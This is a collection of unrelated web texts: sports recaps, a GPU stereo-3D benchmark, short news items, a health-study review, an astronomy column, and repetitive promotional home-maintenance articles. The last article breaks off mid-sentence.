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Pictured: Margaret Chute tallied the first goal of her
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NEW HAVEN, Conn. – Christina Kessler stopped 21 shots to earn the 23rd shutout of her career, helping the Harvard women's hockey team defeat archrival Yale, 5-0, Friday evening at Ingalls Rink. The Crimson scored three times in the first five minutes of the game, two of which were netted by Jillian Dempsey, who also handed out an assist during the game. Kate Buesser scored once and handed out two assists for a three-point effort, while Ashley Wheeler and Margaret Chute also contributed to the win with a goal apiece.
Harvard (4-3-1, 4-3 ECAC Hockey, 1-2 Ivy League) wasted little time getting on the scoreboard, as Dempsey, the reigning ECAC Hockey Rookie of the Week, netted an goal only 25 seconds into the first period, sneaking a shot past Jackee Snikeris. Buesser and Alisa Baumgartner combined for the assists on the tally. Two minutes later at 2:43, Wheeler extended Harvard's lead to 2-0 after receiving a pass from Buesser, who was honored as the ECAC Hockey Player of the Week Monday, and Kathryn Farni. The Crimson offense continued to surge, netting its third goal of the frame off the stick of Dempsey for an unassisted score at 4:48.
After the Crimson's third goal, Yale (1-6-1, 1-6, 0-2) replaced Snikeris with Genny Ladiges between the pipes. In the first period, Harvard outshot its archrival, 14-4, and held the Bulldogs scoreless on two power plays.
After a scoreless second period in which Yale had the edge in shots, 11-5, Buesser made it a 4-0 contest when she found the back of the net on a shot at the 3:20 mark of the third. Buesser's goal, which was assisted by Josephine Pucci and Dempsey, gives her four tallies on the season to lead the Crimson. With 1:53 to play in the game, Chute put the game out of reach with her first goal of the season, as Anna McDonald and Katharine Chute earned assists on the Crimson's fifth goal.
The Crimson successfully killed all five Yale chances with an extra attacker, while being held scoreless on its own four power plays. Harvard held the final count in shots, 25-21.
Harvard, which has now won its last nine games against Yale, remains on the road to play at Brown Saturday afternoon at 4 p.m.
Three-Goal First Period Leads Crimson to 5-0 Win at Yale
Pictured: Margaret Chute tallied the first goal of her
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With the release of the Catalyst 12.2 WHQL drivers AMD has made available the official support for Crossfire in stereo 3D mode (previously only available in beta drivers) and as I've promised I did some testing to see how the Radeon HD 7970 will scale its performance in stereo 3D mode with a single and dual cards in Crossfire. I've used the 23-inch LG D2342P passive 3D monitor along with the TriDef 3D software as a middle-ware providing the stereo 3D support in games. Then a few more demanding in terms of performance games were ran with a single Radeon HD 7970 and with a dual HD 7970s in Crossfire in stereoscopic 3D mode and you can find the average framerate that was achieved below.
Test setup:
– Motherboard: Gigabyte X79-UD3
– Processor: Intel Core i7 3960X @ 4.6 GHz
– Memory: 8 GB Exceleram DDR3-1600
– Storage: 120 GB Intel X25-M SSD
– OS: Windows 7 Professional 64-bit
– Video card: Radeon HD7970s with Catalyst 12.2 driver
– 3D Monitor: 23″ LG D2342P-PN (Passive 3D)
– 3D Middleware: DDD TriDef 3D 5.1 software
Games were tested on 1920×1080 resolution with maximum detail settings and 4xAA enabled where available (AAA for Metro 2033 with DOF disabled), unless AA gets forced to disabled from the software in order to get better performance. Have in mind that the framerate in the table and graph is per eye, the graphics card actually needs to render twice that number of frames, so each eye gets a slightly different perspective in order to create the 3D image.
As you can see from the results when the Crossfire is working as it should in stereo 3D mode there is quite nice scaling in terms of performance when you add in a second video card. But considering the fact that the games used for testing are all popular titles and have been available for a while already there were some surprises. For example there was no scaling in terms of performance at all in Skyrim, Mafia II did not run in Crossfire by default, but when forced it worked just fine and scaled well, and F1 2011 was just crashing with Crossfire enabled. Also take a look at the average framerate achieved with a single card in stereo 3D mode, a bit on the edge for comfortable gaming… meaning that you should compromise a bit on detail levels or extra filtering settings and that is the current flagship GPU from AMD. But still the addition of Crossfire support in stereo 3D mode is a good thing finally happening after a long wait, so now you can actually add a second card and get a performance boost over the not so good framerate you may be getting in stereo 3D mode, and up until a few months you could not do that. Now, another interesting question is how does the Radeon HD 7970 compare to the newly released GeForce GTX 680 in stereo 3D mode and I'm sure that there are a lot of people wondering about that already…

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text: Miami - A concourse at Miami International Airport was partially evacuated after a man allegedly joked that he had dynamite in his luggage.Miami-Dade police say 63-year-old Alejandro Hurtado, of Guatemala, made the remark Monday when a TACA Airlines ticket agent asked if he was carrying any hazardous materials.Police say that when the agent told him he was calling police, Hurtado said he was only joking.Bomb squad officers responded and searched Hurtado's bag but found no explosives. Concourse J was partially evacuated. Hurtado was taken into custody and charged with falsely reporting a bomb at an airport.Airport officials say the investigation delayed one outgoing Avianca Airlines flight by an hour. Some arriving international flights were also delayed because of the evacuation.


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Road Atlanta Spec Fuel Announcement
- 11 March 2016
All entrants are advised that the only legal fuel to be used at The Road Atlanta event April 7-10, 2016 will be:
F2000 Zetec powered cars and F1600 Honda Fit powered cars requiring 93 octane unleaded fuel-- the 93 octane unleaded fuel sold at the Chevron station approximately ½ mile south of the track on Winder Highway (SR 53) at 5516 Winder Highway, Braselton, GA 30517 is required. Please be advised that the VP C9 92 octane fuel sold by Road Atlanta is not permitted.
F2000 Pinto powered cars and F1600 Kent powered cars, requiring 110 octane leaded fuel—VP110, 110 Octane leaded fuel supplied by Road Atlanta at the track is required.
FA is required to run VP110, 110 Octane leaded fuel supplied by Road Atlanta at the track, or Sunoco 260GT Unleaded fuel. Sunoco 260GT Unleaded is not available at Road Atlanta and must be provided by the competitor.
All fuel testing commencing on April 9, 2016 will be using the above specified fuel as the baseline for chemical and dielectric comparison. This allows teams to have the testing period on Thursday April 8th to flush their tanks.


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If you install R Services (In-Database) separately from the Database Engine in Microsoft SQL Server 2016 and if their versions are different, the SQL Server Launchpad service may fail to start. Additionally, error messages that resemble the following are logged in the SQL Server error log:
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(Reuters) - Two oil barges pushed by a tugboat slammed into a railroad bridge in Vicksburg, Mississippi, on Sunday, causing one to leak crude oil into the Mississippi River, the U.S. Coast Guard said.
Officials used an "absorbent boom" to contain the undetermined amount of oil that leaked into the river after the collision, which occurred shortly after midnight and damaged both barges, Lieutenant Ryan Gomez said. The barge that is leaking was holding 80,000 gallons of light crude oil, he said.
"A towing vessel was pushing two barges side-by-side and they struck one of the Vicksburg railroad bridge piers," Gomez said.
No one was injured in the accident. Federal, state and local officials, as well as the industry's Oil Spill Response Organization, were on the scene.
Gomez said he did not have information about any of the companies involved in the oil transport.
The barges were pushed up against the river bank while a team at the scene decided how to clean up the spill, he said.
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"Two thirds of obese children show early signs of heart disease", the Daily Telegraph has reported.
The news is based on a study that examined how common risk factors for diseases that can affect the heart and the blood vessels (cardiovascular disease or 'CVD') are in severely obese children. There is no internationally agreed consensus on what constitutes severe obesity in children.
The researchers found that a majority of children identified had risk factors for CVD that you would normally only expect to see in older adults, such as:
- over half (56%) had high blood pressure
- around one in seven had high blood glucose levels
Worryingly, researchers found that when specifically looking at those younger than 12 years, 62% already had more than one CVD risk factor.
These types of risk factors do not usually cause any noticeable symptoms in children but they significantly increase the chance of a child developing a serious disease, such as coronary heart disease in later life.
There are still some limitations to this type of study, including the fact that some obese children might not have been referred to, or seen by, a paediatrician, and a lack of internationally recognised criteria for severe obesity in children.
Also, the study did not have a comparison group and so could not compare findings to children in healthy weight ranges. The findings do reinforce the well-known messages that are common to all age groups:
- eat healthy
- exercise regularly
- aim to maintain a healthy weight
Where did the story come from?
The study was carried out by researchers from VU University Medical Centre, Amsterdam, and other institutions in The Netherlands. Sources of funding were not reported. The study was published in the peer-reviewed journal Archives of Disease in Childhood.
The study was reported appropriately by the BBC and Telegraph though arguably the headlines were slightly misleading as the children had a range of risk factors and not just those that might affect the heart.
What kind of research was this?
This was a prospective observational surveillance study aiming to determine cardiovascular risk factors in children and adolescents with severe obesity in The Netherlands. In an observational study, researchers typically simply observe groups of people, without changing their exposures or circumstances.
Results from prospective studies are usually considered as more robust then retrospective studies which either use data that was collected in the past for another purpose, or ask participants to remember what happened to them in the past.
What did the research involve?
Researchers used information collected from 2005 to 2007 from the Dutch Paediatric Surveillance Unit which Dutch paediatricians report specific diseases to each month. Paediatricians were given protocol describing how to diagnose severe obesity. The researchers specifically looked at reported new cases of severe obesity in those aged from 2 to 18 years. Paediatricians were then asked to complete a questionnaire for each severely obese child including information on:
- socio-demographic factors
- cardiovascular risk factors such as blood pressure, fasting blood glucose, and cholesterol
As there were no internationally accepted criteria for defining severe obesity in children, researchers defined severe obesity using gender and age-dependant cut-off points for BMI based on adult BMI cut-off points for severe obesity (considered as 35kg/m2 or above).
The researchers then compared the reported cardiovascular risk factors values at the BMI cut-off points they set. Results were analysed using statistical methods that compared young children (considered as younger than 12 years) to adolescents (considered as older than 12 years). Differences in age groups, sex, socio-demographic characteristics and the co-morbidities (other diseases) of children were also compared.
Body mass index (BMI) is used as a measure to estimate healthy and unhealthy weight ranges. For most adults a healthy BMI is in the range of 18.5 to 24.9.
What were the basic results?
From 2005 to 2007, paediatricians newly reported 500 children as severely obese. Questionnaires were provided by the paediatricians for 363 of these children (a 72.6% response rate). After accounting for misclassification and missing data, 307 children were included in the analysis with the following results:
- Boys younger than 12 years were more often severely obese, compared to boys older than 12 years.
- Girls older than 12 years were more often severely obese, compared to girls younger than 12 years.
- 40% of severely obese children were of Turkish, Moroccan or Surinamese origin.
- Only one child was obese due to a medical cause.
Of the 307 severely obese children, cardiovascular risk factor information was available for 255 children (83%). The findings for these children were:
- At least one cardiovascular risk factor was identified in 67% of children aged 2 to 18 years
- Two risk factors were found in 17% of children, three risk factors in 8% of children and more than three risk factors in 2.5% of children
- High blood pressure (hypertension) was reported in 53% of overall children, and 53% of children younger than 12 years
- Of overall children, high blood glucose was reported in 14%
- 62% of children younger than 12 years had one or more cardiovascular risk factor
How did the researchers interpret the results?
The researchers conclude that a high number of severely obese children have cardiovascular risk factors. They add that internationally accepted criteria for defining severe obesity, as well as guidelines used for early detection and treatments of severe obesity, are urgently needed.
In discussing the study's findings, Dr Joana Kist-van Holthe from the university where the research took place said: "The prevalence of impaired fasting glucose in [these children] is worrying, considering the increasing prevalence worldwide of type 2 diabetes in children and adolescents". She added: "the high prevalence of hypertension and abnormal lipids may lead to cardiovascular disease in young adulthood."
Doireann Maddock from the British Heart Foundation said of the research: "Although it was a small study, the findings leave a bad taste in the mouth". She went on to add: "this is a problem that can be addressed by stopping young people becoming overweight and obese in the first place".
Overall, this study provides evidence that cardiovascular risk factors are common in severely obese children aged 2 to 18. Reporting of severe obesity was high among paediatricians in The Netherlands and was recorded accurately (which is a strength of the study). There are still some limitations to this study, some of which the researchers note:
- Diagnosis of 'severe obesity' was reported by paediatricians only. It is likely that children not referred to a paediatrician in the general population were missed and it is not clear how those children differ from ones referred.
- This was a relatively small study which can limit the results, as it may not be able to be generalised to other populations, for example, severely obese children not referred to paediatricians.
- Researchers noted there was a lack of internationally accepted criteria for diagnosing severe obesity in children and suggest an urgent need for these criteria to be available.
- No comparison was made with children in the normal weight range of the same age. This would have added to the strength of the results.
- 40% of the children were of Turkish, Moroccan or Surinamese ethnic descent (which for historical reasons make up a large part of the Dutch immigrant communities). So there may be other factors associated with these ethnicities that may 'skew' the results.
Considering that the prevalence and severity of obesity is rising, this study provides valuable information about the risks for children with severe obesity. Anyone concerned about their child being severely obese should see their GP.Behind the Headlines on twitter*.
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Links to the science
Van Emmerik NMA, Renders CM, van de Veer M, et al.
High cardiovascular risk in severely obese young children and adolescents
Archives of Disease in Childhood. Published online July 23, 2012


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Olympus CEO Turned Whistleblower: Lessons Learned
Michael Woodford was ousted as CEO of Olympus Corp. after he clashed with senior executives at the company when he tried to expose corruption at the highest level. He shares the lessons he learned from the experience with WSJ's Javier Espinoza.
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CHICO — Enloe Medical Center has announced the appointment of four new members to its board of trustees.
The four new members are Cindy Bennington-Foor, Dr. Forrest Olson, Dr. Mark Schwabe and Jack Sterling.
Also, two new members have been named to the Enloe Foundation board of directors. They are Scott Chalmers and Michael Dailey.
Bennington-Foor is the vice president and regional manager of Tri Counties Bank.
Olson is a hospitalist at Enloe. He will serve as a physician trustee.
Sterling and his wife, Darien, own Madison Bear Garden and Mom"s Restaurant in Chico, as well as other restaurants in Northern California and Nevada.
Schwabe is a Chico gynecologist. He will serve as an ex-officio member of the board due to his position as chief-elect of the Enloe medical staff. He is slated to become chief of staff in 2015.
The 16-member Enloe board of trustees, which governs the non-profit hospital, is chaired by former Chico city manager Tom Lando.
The Enloe Foundation board oversees fundraising for the hospital.
New Foundation board member Chalmers is a local businessman who owned and operated a property management firm in Chico from 1981 until 2010.
The other new Foundation board member, Dailey, works as a financial advisor at Morgan Stanley.


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|James Webster's freedom certificate (left side)
One of my family treasures is the original Certificate of Freedom issued to my great-great-great-grandfather, James WEBSTER, on 1 July 1823. James had been apprenticed to John PORTER, a stationer of Pall Mall, London, whom we believe was his uncle. (Thanks to Michael FLYNN for his help with the PORTER research.)
This certificate was entrusted to me by Rodney CARR. It was handed down through his branch of the family (descendants of James WEBSTER's eldest daughter, Sarah). The authenticity of this large document, only a portion of which is shown above, was confirmed by the Worshipful Company of Stationers and Newspaper Makers.


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This pollution is endangering our night skies
We all know of Earth Day, but what about Dark Sky Week?
"I want people to be able to see the wonder of the night sky without the effects of light pollution," says Jennifer Barlow, who came up with the idea of Dark Sky Week as a high school student in 2003. "The universe is our view into our past and our vision into the future … I want to help preserve its wonder."
We're in the midst of this celebration of darkness, which has grown into a global movement, leading to downward-facing streetlights, low-glare outdoor bulbs and a greater understanding of the value of darkness.
"Once a source of wonder — and one-half of the entire planet's natural environment — the star-filled nights of just a few years ago are vanishing in a yellow haze," warns the website for Dark Sky Week's parent organization, the International Dark-Sky Association. "Human-produced light pollution not only mars our view of the stars; poor lighting threatens astronomy, disrupts ecosystems, affects human circadian rhythms, and wastes energy to the tune of $2.2 billion per year in the U.S. alone." Learn more at www.darksky.org.
Find your piece of darkness and a view to the east before daybreak Friday and Saturday, when the waning crescent moon hovers within 10 degrees of dazzling Venus.
Tuesday's new moon provides the backdrop for this week's installment of the Globe At Night campaign, which fits hand-in-glove with Dark Sky Week. Your fisthand sightings help map what's visible — and not — in the night sky all around the world. It's easy to take part. Log onto www.globeatnight.org to download a star map of Leo the lion, see how many and which of the stars you can spot on a clear night, and return to the website (or the mobile app) to upload your results.
For parts of South Africa, Australia and Antarctica, Tuesday's new moon lines up just right between the earth and sun to create an annular solar eclipse. In an annular eclipse, the moon is too far from earth to fully obscure the sun, instead covering only the corona and creating a ring of light outlining the darkened moon. While you'll likely have to settle for on online view of this one, we'll have front-row seat for October's partial solar eclipse.


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Waiter who stood up for boy is called hero
Near a classroom window, 5-year-old Milo Castillo fumbled with a golden, bejeweled crown. Michael Garcia, kneeling in front of him, patiently waited with his head bowed.
The crown shifted from between the boy's fingers, but he quickly grasped both sides and gently placed it on top of Garcia's head.
They both grinned.
The jewels adorning the crown actually are plastic and have been glued onto yellow foam. Nevertheless, the crown symbolizes something precious to Milo, a child with Down syndrome.
Garcia is a waiter at Laurenzo's Prime Rib in Houston who refused last month to serve a family who asked to be seated away from Milo and his parents, saying "special needs children need to be special somewhere else."
Garcia, 45, instantly became a hero for standing up for Milo, receiving praise — and donations — from all over the country after the story spread.
On Thursday, he presented the contributions — in the way of a check for $1,145 — to Milo's school, the Rise School of Houston, a preschool affiliate of Texas Children's Hospital.
Garcia, who frequently has served Milo and his family, has no regrets about not serving the rude customers, who abruptly left.
"If I had gotten fired, oh well, I would have got another job," Garcia said. "But what's right is right."
Before presenting the check Thursday, Garcia joined the children sitting on blue mats for a thank-you party in his honor at the Rise School.
He craned his neck to look over TV cameras as the preschoolers performed a song in sign language, and he hugged each child who walked up to him afterward.
Representatives from each class took turns handing Garcia special gifts that the children had made. Some climbed onto his lap as he read the cards. A box of tissues stayed close by.
"When you have something like this with someone who had no reason to be kind — he doesn't have relatives with special needs, he's not a teacher — but he did it out of a sense of what was right and from his heart, it gives us this hope," said Ashley Kress, development director for the school and a mother of a child with Down syndrome.
"If Michael can do that, then maybe other people in the world can do that, too," she added.
Kim Castillo, Milo's mother, said she knows few people would have done what Garcia did.
"What he's doing is not only inspirational, but it's going to hopefully push people to make donations to this amazing, amazing school," she said.
The Rise School is Houston's first and only school dedicated to the early education of infants, toddlers and preschool children born with Down syndrome and other developmental disabilities in an integrated environment. Thirty-five percent of the students are traditional learners.
Garcia's visit generated a lot of buzz at the school.
Kress said one student told her mom Wednesday that she learned about "somebody new" in class.
"Well, he's kind of like God, but he's not God," the little girl explained, according to Kress. "And he's kind of like Martin Luther King, but he's not Martin Luther King."
Thinking of historically significant people, the mom asked: "Well do you know his name?"
To which the child responded, "His name is Michael. He's a waiter."


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Google Glass isn't even in the shops yet, and already version 2.0 is on its way.
Google's launching a refreshed version of the Glass hardware that is designed to work with "future lines of shades and prescription frames," and will also include a mono earbud.
That last point seems to indicate that Google's backing away from the bone conduction audio found in the current version of Glass, in favour of a more conventional approach. The headset will still feature bone conduction audio, though – the earbud's an optional extra.
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Google Glass Explorers will be able to swap their existing hardware for the revised version in a one-time deal – which will also enable fashion-conscious Explorers to switch colours.
Existing Explorers will also be a lot more popular among their social circle for the next fortnight – for the next 14 days, they'll be able to invite up to three friends to join the Glass program. Expect to see strife among the Silicon Valley jet set as invites are doled out and friends spurned.


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Greenpeace brought six witnesses from India, Korea, Poland, Germany, and France to meet the five victims in the Fukushima area in mid-February.
The witnesses learned about the victim's experiences before and after the Fukushima disaster, their efforts to rebuild their lives and the hardships of first having to evacuate because of high levels of radiation and then because of the lack of fair support provided by the government.
Bags of contaminated soil and grass material, resulting from decontamination efforts, are left near Hiroshi Kanno's original house in Iitate village.
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The wind stayed light at the beetle kitesurf World Cup, in Saint Peter Ording Germany. Slalom racers and freestylers were ready to go at 11 AM this morning at the skippers meeting, but the wind was not cooperating. The freestylers were released for the day but the racers needing only 6 knots of wind to complete the course were hoping that in the afternoon the sea breeze would kick in. The wind never materialized and all the competitors enjoyed the kite village with the skate ramp, volleyball courts and many other activities planned around the event site. The forecast is to looking light for tomorrow but the slalom racers are still hoping for a light breeze to get some races in.
I caught up with 3 riders: Kevin Langeree(NED, Naish), Annabel Van Westerop(ABW, Cabrinha) and Adam Withington(MEX, ASV kites) and asked them questions about gear and how the season was going.
PKRA: The big change for you at this event is that you went from straps to boots, how this change affecting your riding?
Kevin: I was one of the last one still riding foot straps with Ariel Corniel and Eudazio da Silva. I tried a few pairs of bindings and none of them were very comfortable and I could not understand why everybody was so stoked on them. Now I've got a pair of Ronix that is light and comfortable for my feet. It's a new challenge to ride with them in competition and I'm hoping that I'll be a land more tricks with more pwer and that it will pay off with a win.
Question for Annabel: How as switching over to boots changed your riding?
Annabel: If I look at videos of how I was riding before I started using boots to how I ride today. I feel that my style has improved, I have more power and I can land more tricks. I really feel that it has helped my riding.
Adam Whitington is one of the top slalom racers in the world and is currently 3rd on the PKRA. We asked him how the season was going and how he sees slalom racing evolve.?
Adam: This is the 1st year that slalom has a Pro tour and I pretty excited about it, I've been racing slalom for 3 years already. Have mainly been competing at home in a local race series and it's a lot of fun. It's a race that does not forgive mistakes, one mistake and you can go from 1st to last. The high-speed racing is really fun and it's also fun for spectators that can follow it, because it's always close to the beach. I really see slalom blossoming over the next few years and in Europe a lot of people already practice slalom racing. We have a pretty small fleet of this event but extremely competitive once you get to the semifinal it's hard to know who is going to advance. I really hope that slalom booms the next few years and that we have large competitive fleets.
We are pretty optimistic about possibly running some slalom tomorrow and getting back to freestyle on Thursday. Make sure you stay tuned into to the prokitetour and follow us on Facebook and Twitter for the latest news and updates.
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REA recently completed a barricade for 693 Fifth Avenue, located in the heart of New York City's busiest retail avenue. This is one of multiple projects REA is working on for Thor Equities, a leader in urban real estate development with a focus on retail and mixed-use buildings.
693 Fifth Avenue is comprised of seven floors of retail and two floors of office space, totaling 44,500 square feet. The building is currently getting a "facelift" with a modernized facade.
The purpose of the 3-story barricade was to grab attention and help Thor find a perfect retail partner for the space. REA Creative Director Irasema explained that the creative process involved developing a design that was unique compared to most retail barricades — so the design team chose bold text and an eye-catching image. An emphasis on luxury fashion was also part of the equation, to convey the elegance of Fifth Avenue retail. REA sets a standard in selling retail space by capitalizing on this luxury retail aspect and pushing a bolder look.
The area welcomes up to 11,000 daily pedestrians to pass the 50 feet of frontage. Visit the 693 Fifth Avenue website for more information.


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By taking the time to think about how important the air conditioning device can be for your house you're going to realise that, not maintaining it properly and not repairing it when it needs to be repaired will most likely have grave results to the machine itself. Do Not Avoid Important Processes You need to understand that, a lot of people are actually avoiding to repair or maintain there are conditioning devices because of the fact that, yes the process can be a bit expensive from time to time. However, try to think about it like this. If you do not make sure that you will go through the process of maintenance at least, you're most likely going to end up with a machine that will constantly break. At some point, you will be forced to buy a new machine which will of course cost a lot more. Therefore, the only thing you're going to want to do would be to simply find someone who will be able to repair or perform maintenance services or devices without necessarily asking for an obscene amount of money and at the same time be able to provide you with some pretty amazing prices. Find The Best Repairman You are in luck of course because of the world of the Internet will definitely be able to provide you with a lot of information regarding the different companies and contractors out there that will be able to do this for you. For example, if you were to check out the ABC air conditioning services then you would immediately find yourselves in front of a pretty great option regarding the types of contractors that will be able to help you in this particular case. Remember that, when it comes to maintenance services and repair services for your conditioning device, you will always want to try and find the best of the best. There is absolutely no reason for you to try to be cheap in this particular case. You're only going to end up stalling the inevitable which is of course buying a newer conditioning device or paying a very large amount of money in order for you to repair your old one. Whichever the case, you're going to want to make sure that you will not allow this to continue in any possible way. Find the right people today.
Purchasing a home is likely to be the single most expensive investment a person makes in their life. Unfortunately, the costs for maintaining your home do not end after closing. HVAC systems break down, roofs need to be replaced, and natural disasters happen. Everyone should have homeowner's insurance in order to mitigate these risks, but even that could cost you in the long run. Insurance providers are looking to save as much as possible, and sometimes that means taking advantage of clients who do not know any better. Every claim you make on your insurance policy could lead to higher premiums, or to you being dropped completely. So how do you know when it is worth it and when you would be better off paying for a repair out of pocket? There are some simple rules one can follow in order to ensure they are making the best decision for their situation, and they could save you exponentially in the long run. Take a look at the accompanying infographic for a better understanding of what those are, and how you can best protect your investment. Adjusting to Disaster: A Claim Filing Checklist by Expert Public Adjusters
Rent versus buy is not just a decision you make when deciding where to live. It is a decision home owners and even some renters make on a regular basis. If you make the wrong decision, you end up with a garage full of rarely used depreciating tools. Let's learn what tools you should rent, not buy. Rarely Used Seasonal Tools Seasonal tools may be heavily used. For example, some people will use a leaf blower every weekend in the fall. And they'll get even more out of the leaf blower if it can clear snow from their walkway, too. However, the wood chipper used to cut up dead trees or plants pulled up in an annual garden clearing should be rented, not purchased. Snow blowers are probably best rented, though you may not be able to get to the store when you need the item. Rent the brush cutter to clear the property before you plant your first garden, because you may not even need it again next year. Note that it will clear roughly one acre an hour, so give yourself enough time to get things done. For much larger jobs, you might want to hire help. And rent the rotary tiller the one or two times a year when you require it. Tools Only Used for a Single Project Rent that power auger to drill post holes. Realistically, you're probably never going to do this again. Rent a tile saw or demolition hammer that you'll only use for that one construction project. You'll never get an adequate return on the investment as a homeowner, whereas the professionals will use it on a regular basis. Rent heavy plant machinery from Mteevan for digging ponds, pools or foundations, these are incredibly expensive. Even if you were to buy to sell on after your project they may lose a lot of value. Tools That You Should Only Use Once This category includes tools that you really shouldn't use twice on the same job. Rent the drain cleaner used to clear your gutters or drainage pipes, because you may not use it again. If the blockage isn't cleared or reoccurs, you shouldn't run the drain cleaner through the pipes again. Instead, you need to call in a professional to identify and resolve the root cause. After all, you don't want to risk the blockages getting worse over time or getting so bad that you can't clear it temporarily with a heavy-duty tool. Floor sanders fall into the same category. You may be able to sand and refinish a floor once. However, you shouldn't refinish the same floors if you make a mistake. This is because the wood floor only has so much material that can be safely removed before its performance will start to degrade. If you screwed up the floor you just installed so badly you have to rent the floor stripper to remove the new one, stop and call in a professional before you make things worse. Rent a pressure washer to clean an outdoor surface like driveways or the exterior of your home. If the problem isn't resolved, you'll want to consult with a professional. For example, you don't want to keep washing algae and moss from the roof when it is clearly coming back. And it is probably damaging your roof in the meantime as it spreads under the roofing shingles.
Concrete floors are an affordable, durable alternative to stone, wood and tile. They can be stamped to resemble stone or brick. The concrete can even be mixed with coloring and made to look like wood floors. However, modern concrete flooring come with a different set of care instructions. Here are some concrete care tips from a Concrete Flooring Solutions a leading installer of concrete floors. Have It Sealed Concrete floors are stain and water resistant if properly sealed. If the floor isn't sealed, then pet and drink stains can seep into the concrete and are almost impossible to remove. This is why you want to know that the floor is sealed before you mop it or risk spilling anything on it. The floor will need to have the sealer reapplied every few years. You can improve the life of the seal by having the floor waxed regularly. This will protect the concrete floor's seal from abrasion and debris. Use commercial grade floor wax that is designed for concrete floors. Clean It The Right Way Concrete floors that have been sealed can be swept forever. And you can use a damp mop to clean up messes. Use a microfiber cleaning pad to minimize the effect on the concrete floor seal. While you can use a harsh brush to scrub the floor, you'll end up replacing the seal sooner. You can use a swing buffer or auto scrubber on the concrete floor once in a while. Don't use harsh cleaning products like bleach, citrus, ammonia or vinegar. That can damage the seal or etch the surface. Know that the cut patterns on the concrete and any stamped patterns will trap dirt. These areas may require additional scrubbing, or you could clear the grooves of debris using a vacuum cleaner. What if you have unsealed concrete? Clean it with a brush or blast of water first. If that doesn't work, then you can use soap on the stain. Ammonia is a last resort but can be used on unsealed concrete. Never use muriatic acid on concrete if you hope to have it sealed in the future. Then get the concrete sealed so you don't have to go to that much work next time there's a stain on your concrete floors. Plan Your Cleaning Schedule Sweep or mop the concrete floors daily. This removes dirt, debris and crumbs. The latter need to be removed to prevent pests. Mop stains as soon as they occur so that the mess can't seep into the concrete. This includes standing water and pet messes. While the concrete seal should prevent that matter from seeping into the concrete, you don't know the state of the concrete sealant until you see that the stain is starting to become permanent. Minimize The Need To Clean Set up indoor floor mats or rugs at entryways to trap dirt. Consider setting up outdoor floor mats, too, to minimize how much junk gets tracked indoors. If you're in an industrial environment, get sticky mats that pull dirt and debris from people's shoes. Protect The Concrete Floors Mats and wax can only do so much. They'll take the rough treatment of foot traffic, but it won't prevent damage when someone drags heavy tools across the floor. Require heavy loads be moved on trolleys or dollies instead of pushed or pulled across the concrete floor.
While leaking pipes in the walls threaten the integrity of those walls and can ruin your floors, they're relatively easy to repair once you can access them. Furthermore, you can often find wet spots and mold that inform you that there is a leak in the first place. Underground pipes that require repair are infinitely more difficult to deal with. You may not know there is a leak in the buried water pipes until your water bill is insanely high or the water is literally overflowing. Wastewater pipe leaks may not be noticed until you have a puddle in your front garden or it starts seeping through cracks in the floor. Fixing underground pipes is difficult but not impossible. Let's learn how you can fix underground pipes. Locate The Pipe Ideally, you'll know exactly where the buried, damaged pipe is located. You may know where both the pipe and the leak are because there are patches where the grass is too green or a sinkhole has formed above the leaking section of pipe. In some cases, metal detectors or other sensors are used to find the pipe. Then the pipe can be dug up so it can be accessed if the leak can't be fixed using a tool other tools. Access The Pipe You'll generally have to dig down and around the pipe to access it so it can be repaired. This is often done by the drainage experts you hired to repair it, though that will increase the repair bill. If you start digging down to the pipe yourself, don't use heavy equipment so you don't cause further damage to the pipe. Dig around the pipe, as well, to give yourself room to work. Repair / Replace The Pipe The average home owner is not qualified to cut through their pipe, cut a new length of pipe and weld it into place. Consult with experts like ASL Limited to measure, cut and install the new pipe section. A side benefit of calling in plumbing experts is that they'll be able to identify any other pipe leaks while they're there. This could be done non-destructively using technology like closed circuit television surveys of all the pipes. Then you can get other cracked pipes repaired all at once. And they'll be able to tell you if there is a leak under the foundation in addition to the one that you noticed in the yard. Rebury The Pipe Once the pipe has been repaired and all cracks sealed, the pipe can be reburied. In general, you want to use the same materials used to cover it before. That means you don't want to fill a hole in your foundation with dirt. However, you can put fine gravel in around the pipe to give it more support. At this point, you can replace the grass you ripped up unless you want to re-sod the area. What if you had pipes damaged by a shifting foundation? You may want to have the foundation fixed and then the pipes re-surveyed to make sure no new leaks were found?
An excellent roof protects you and the home from the dangers Nature can throw to you. If there is a problem with your roof, weather changes can result in catastrophe. Learning how to care for your homes roof saves you trouble over time. Browse through the below article for excellent tips Roofing Contractors Oakland County Michigan, that follow in order that you're prepared properly. Look over your homes roof carefully one or more times each year. Roofs tend to suffer one of the most damage early in the year time. Consider your climate when thinking about roofing. Clay roofs are good for dry climates and could keep the house cool. Clay tiles in wet climates will deteriorate quickly. Or else sure where to start, ask. When you are picking out a roofer, ask your family members, friends and co-workers for recommendations. Enquire about the position and when they feature warranties are given. Should your contractor cannot make time to perform the repairs to the roof right away, it is possible to put a bandage on your own leaking roof. Get a sheet of heavy duty plastic and you may nail that over the leaking area. Always be sure that you don't pay the whole project before it's all done. It is possible to pay about 25% to start out the task, but avoid paying anything more. You wouldn't would like them perform a low-quality job or less work than these people were designed to. Make sure the roofer you hire is trained and skilled. You could try to get referrals from friends and relations for roofing contractor recommendations. This will be significant as you don't want an expert experience. You never desire to climb atop the roof to examine for damage. For those who have question regarding the structural integrity, work with a professional to perform an inspection. You certainly don't want to have the rooftop unsuspecting because it caves in under the feet. Be sure a roofer has current, and be sure they are current. Nearly every locale features a license requirement, so be sure that they already have the correct licensing. A roofing team operating in unison can achieve good results quicker. A full time income roof is comprised of enough soil layers where you may grow plants and flowers. Not handling your roof can result in disaster. In case you have the information here, you are able to avoid that trouble. Put these guidelines to utilize in maintaining your homes roof, and there is no doubt that the roof will work its job in protecting your property.
Do you need to find the best roofing contractor for the project? Well, if you are searching for the best roofing contractor, then you will have to focus on every single detail that will allow you to manage things in the right way. Make sure that you are exploring your options and focusing on the things that will help you in the perfect way. It is always necessary for you to focus on the things that will allow you to manage things in the right way. By paying close attention to the things that matter the most, you will be able to come up with a great solution. Make sure that you are checking things in detail so you can come up with a great solution. We are going to share all the important factors that will allow you to choose the perfect roofing contractor out there. Let's have a look at how you can make things easier and better for yourself. Ask to provide references First of all, you should ask the contractors to provide references. If you are getting references from the contractors, then you should get in touch with them so you can make things easier and better for yourself. It is the right way to proceed so you can avoid all the problems that you are facing. It is always necessary for you to focus on the things that will allow you to manage things in the right way. You can also take help from the roofing contractors canton Michigan so you can complete your projects with reliable contractors. Choose licensed contractor The next thing that you will have to focus on is to choose a licensed contractor. It is always necessary for you to select a licensed contractor so you don't have to face any problems later on. It 